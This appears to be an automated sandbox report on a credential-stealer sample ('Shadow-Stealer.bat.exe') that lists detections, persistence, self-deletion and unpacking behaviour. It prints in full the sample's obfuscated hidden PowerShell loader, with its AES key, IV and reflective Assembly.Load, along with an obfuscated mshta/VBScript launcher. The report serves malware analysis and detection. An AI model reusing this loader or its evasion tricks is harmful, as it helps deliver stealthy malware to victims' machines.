Source:	Binary string: costura.sharpdx.pdb.compressed source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp, $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: costura.costura.pdb.compressed\|\|\|Costura.pdb\|6C6000A5EAF8579850AB82A89BD6268776EB51AD\|2608 source: $sxr-powershell.exe, 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: cmd.pdb source: $sxr-cmd.exe, 0000000D.00000002.3361419662.00007FF713812000.00000002.00000001.01000000.0000000B.sdmp, $sxr-cmd.exe, 0000000D.00000000.2370623512.00007FF713812000.00000002.00000001.01000000.0000000B.sdmp, $sxr-cmd.exe.3.dr
Source:	Binary string: )costura.sharpdx.direct3d11.pdb.compressed source: $sxr-powershell.exe, 0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: mshta.pdb source: $sxr-mshta.exe, 0000000A.00000002.3381136829.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmp, $sxr-mshta.exe, 0000000A.00000000.2355999536.00007FF64E1D2000.00000002.00000001.01000000.00000007.sdmp, $sxr-mshta.exe.3.dr

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Program Files (x86)\KgXRvhmJjxgIgVQQVihjUJYeIypQdCtPRrVbiRDWmuWnQjTqnIuoShFYxaWQcCBqnb\yApVCRtJPjQJu.exe

Unpacked PE file: 42.2.yApVCRtJPjQJu.exe.2930000.6.unpack

Yara detected Costura Assembly Loader

Source: Yara match	File source: 15.2.$sxr-powershell.exe.1facccc4e50.31.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000F.00000002.3389530773.000001FABCF5A000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000000F.00000002.3570248897.000001FACCBC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: $sxr-powershell.exe PID: 6400, type: MEMORYSTR

.NET source code contains potential unpacker

Source: 15.2.$sxr-powershell.exe.1facd0fdc88.20.raw.unpack, DynamicUtils.cs	.Net Code: CreateSharpArgumentInfoArray
Source: 15.2.$sxr-powershell.exe.1facd0fdc88.20.raw.unpack, LateBoundReflectionDelegateFactory.cs	.Net Code: CreateDefaultConstructor

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\$sxr-powershell.exe

Anti Malware Scan Interface: Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.Ciphe

Suspicious powershell command line found

Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYB
Source: C:\Windows\$sxr-cmd.exe	Process created: C:\Windows\$sxr-powershell.exe C:\Windows\$sxr-powershell.exe -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYBBv03aq6fIf9zugDa03cb0yO24aIfe5AFN+zOGDLKtWrsyyIVpjarzDCbBlxkhPRynAyHBM2A5pmzVa2gAc2+o8odD180Z07f5ZL3mYwTO8	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Process created: C:\Windows\$sxr-powershell.exe "C:\Windows\$sxr-powershell.exe" -NoLogo -NoProfile -Noninteractive -WindowStyle hidden -ExecutionPolicy bypass -Command [System.Diagnostics.Process]::GetProcessById(6400).WaitForExit();[System.Threading.Thread]::Sleep(5000); function VOHZF($Lwtxx){ $xCaUG=[System.Security.Cryptography.Aes]::Create(); $xCaUG.Mode=[System.Security.Cryptography.CipherMode]::CBC; $xCaUG.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $xCaUG.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0='); $xCaUG.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg=='); $CTnvz=$xCaUG.('rotpyrceDetaerC'[-1..-15] -join '')(); $oMfGF=$CTnvz.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($Lwtxx, 0, $Lwtxx.Length); $CTnvz.Dispose(); $xCaUG.Dispose(); $oMfGF;}function nnKof($Lwtxx){ $ABMbT=New-Object System.IO.MemoryStream(,$Lwtxx); $FswzF=New-Object System.IO.MemoryStream; $ZWQus=New-Object System.IO.Compression.GZipStream($ABMbT, [IO.Compression.CompressionMode]::Decompress); $ZWQus.CopyTo($FswzF); $ZWQus.Dispose(); $ABMbT.Dispose(); $FswzF.Dispose(); $FswzF.ToArray();}function vzvJZ($Lwtxx,$kAWoQ){ $kXIpu=[System.Reflection.Assembly]::Load([byte[]]$Lwtxx); $OPPDg=$kXIpu.EntryPoint; $OPPDg.Invoke($null, $kAWoQ);}$xCaUG1 = New-Object System.Security.Cryptography.AesManaged;$xCaUG1.Mode = [System.Security.Cryptography.CipherMode]::CBC;$xCaUG1.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$xCaUG1.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('TM3zfpDKMZynPMfLQy1uVeWzaY6DhwGL3hPqgMb2Tk0=');$xCaUG1.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('zUMRaMteR/3la6UhCTH1Gg==');$qsFQP = $xCaUG1.('rotpyrceDetaerC'[-1..-15] -join '')();$UMIrZ = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('2twxIFMV1JWyz0b8BpHEfA==');$UMIrZ = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($UMIrZ, 0, $UMIrZ.Length);$UMIrZ = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($UMIrZ);$PYyQA = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('p05ztWCKuMfos2Q8RYoS+FIXy2DypHHbyYGL6Z+cEc8=');$PYyQA = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($PYyQA, 0, $PYyQA.Length);$PYyQA = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($PYyQA);$roofG = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('Sy8HcJTfKA/mf4hPH+Go6g==');$roofG = $qsFQP.('kcolBlaniFmrofsnarT'[-1..-19] -join '')($roofG, 0, $roofG.Length);$roofG = [System.Text.Encoding]::('8FTU'[-1..-4] -join '').('gnirtSteG'[-1..-9] -join '')($roofG);$tgmGC = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('BuxXfqRY1RoP0b/ROY4PrLV7XH6EyWkqL6UOT7VtjFZgNba4DmwvRZ0rEKh6tsW5E4dar7n8yKYorGfhmfzDSchZoElrP0gmf7pENQ75eXbqF+3j4N1LjY1xzYPYeJFwvJGbJvqe3CPoWhNQATtYtY/6ujGYTqqhsjIgqQdcVJyCExpvLG1KTAiDHwbcLEgHzlPLvK+nTj2PYL6WYsFa3I8rptDz3r9IvJABT8A6TOqZRS2q9nM/2K1/IRFUTDKvPPtYy9cd0jq4MTO7gDnvlUAC8kJM0rAwSo8RwA3zKJNYB	Jump to behavior

Obfuscated command line found

Source: unknown

Process created: C:\Windows\$sxr-mshta.exe C:\Windows\$sxr-mshta.exe "javascript:document['wr'+'it'+'e']('<h'+'tm'+'l>'+'<s'+'cr'+'ip'+'t\x20'+'la'+'ng'+'ua'+'ge'+'=\x22'+'VB'+'Sc'+'ri'+'pt'+'\x22>'+'Se'+'t\x20'+'ob'+'jS'+'he'+'ll'+'\x20='+'\x20C'+'re'+'at'+'eO'+'bj'+'ec'+'t('+'\x22W'+'Sc'+'ri'+'pt'+'.S'+'he'+'ll'+'\x22)'+'\x20:'+'\x20o'+'bj'+'Sh'+'el'+'l.'+'Ru'+'n\x20'+'\x22C:\\Windows\\$sxr-c'+'md'+'.e'+'xe'+'\x20/'+'c %'+'$sxr-tjptoUybjVuvgCOJtIWn4312:&#<?=%'+'\x22,'+'\x200'+',\x20'+'Tr'+'ue'+'</'+'sc'+'ri'+'pt'+'><'+'/h'+'tm'+'l>');close();"

Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACE901870D push rcx; retf 003Fh	10_2_000001ACE901870E
Source: C:\Windows\$sxr-mshta.exe	Code function: 10_2_000001ACEA2E950D push rcx; retf 003Fh	10_2_000001ACEA2E950E
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A59870D push rcx; retf 003Fh	13_2_000002155A59870E
Source: C:\Windows\$sxr-cmd.exe	Code function: 13_2_000002155A5C950D push rcx; retf 003Fh	13_2_000002155A5C950E
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC5870D push rcx; retf 003Fh	19_2_000001F5FDC5870E
Source: C:\Windows\$sxr-powershell.exe	Code function: 19_2_000001F5FDC8950D push rcx; retf 003Fh	19_2_000001F5FDC8950E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01659870D push rcx; retf 003Fh	22_2_000002D01659870E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0165F950D push rcx; retf 003Fh	22_2_000002D0165F950E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01662870D push rcx; retf 003Fh	22_2_000002D01662870E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01668870D push rcx; retf 003Fh	22_2_000002D01668870E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0166E870D push rcx; retf 003Fh	22_2_000002D0166E870E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D01674870D push rcx; retf 003Fh	22_2_000002D01674870E
Source: C:\Windows\System32\winlogon.exe	Code function: 22_2_000002D0167A870D push rcx; retf 003Fh	22_2_000002D0167A870E
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F14F870D push rcx; retf 003Fh	24_2_000002D6F14F870E
Source: C:\Windows\System32\lsass.exe	Code function: 24_2_000002D6F152950D push rcx; retf 003Fh	24_2_000002D6F152950E
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FB870D push rcx; retf 003Fh	25_2_0000014E41FB870E
Source: C:\Windows\System32\svchost.exe	Code function: 25_2_0000014E41FE950D push rcx; retf 003Fh	25_2_0000014E41FE950E
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B47870D push rcx; retf 003Fh	26_2_000001D15B47870E
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15B4A950D push rcx; retf 003Fh	26_2_000001D15B4A950E
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CAE870D push rcx; retf 003Fh	26_2_000001D15CAE870E
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CB4870D push rcx; retf 003Fh	26_2_000001D15CB4870E
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CBA870D push rcx; retf 003Fh	26_2_000001D15CBA870E
Source: C:\Windows\System32\dwm.exe	Code function: 26_2_000001D15CC0870D push rcx; retf 003Fh	26_2_000001D15CC0870E

Source: C:\Windows\$sxr-mshta.exe

Code function: 10_2_00007FF64E1D1008 GetVersion,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,FreeLibrary,RegOpenKeyExA,RegQueryValueExA,ExpandEnvironmentStringsA,LoadLibraryA,RegCloseKey,GetModuleHandleW,GetProcAddress,MultiByteToWideChar,UnregisterApplicationRestart,GetProcAddress,FreeLibrary,RegCloseKey,

10_2_00007FF64E1D1008

Source: Shadow-Stealer.bat.exe.0.dr

Static PE information: 0x7EDA4115 [Wed Jun 10 07:45:25 2037 UTC]

Source: $sxr-cmd.exe.3.dr

Static PE information: section name: .didat

Persistence and Installation Behavior

Drops executables to the windows directory (C:\Windows) and starts them

Source: C:\Windows\$sxr-mshta.exe	Executable created and started: C:\Windows\$sxr-cmd.exe	Jump to behavior
Source: C:\Windows\$sxr-powershell.exe	Executable created and started: C:\Windows\$sxr-powershell.exe	Jump to behavior
Source: unknown	Executable created and started: C:\Windows\$sxr-mshta.exe

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File created: C:\Windows\$sxr-cmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File created: C:\Windows\$sxr-powershell.exe	Jump to dropped file
Source: C:\Windows\System32\cmd.exe	File created: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File created: C:\Windows\$sxr-mshta.exe	Jump to dropped file

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File created: C:\Windows\$sxr-cmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File created: C:\Windows\$sxr-powershell.exe	Jump to dropped file
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	File created: C:\Windows\$sxr-mshta.exe	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe

File deleted: c:\users\user\desktop\shadow-stealer.bat

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\$sxr-powershell.exe

File opened: C:\Windows\$sxr-powershell.exe:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\ROOT			Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot			Jump to behavior

Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Shadow-Stealer.bat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
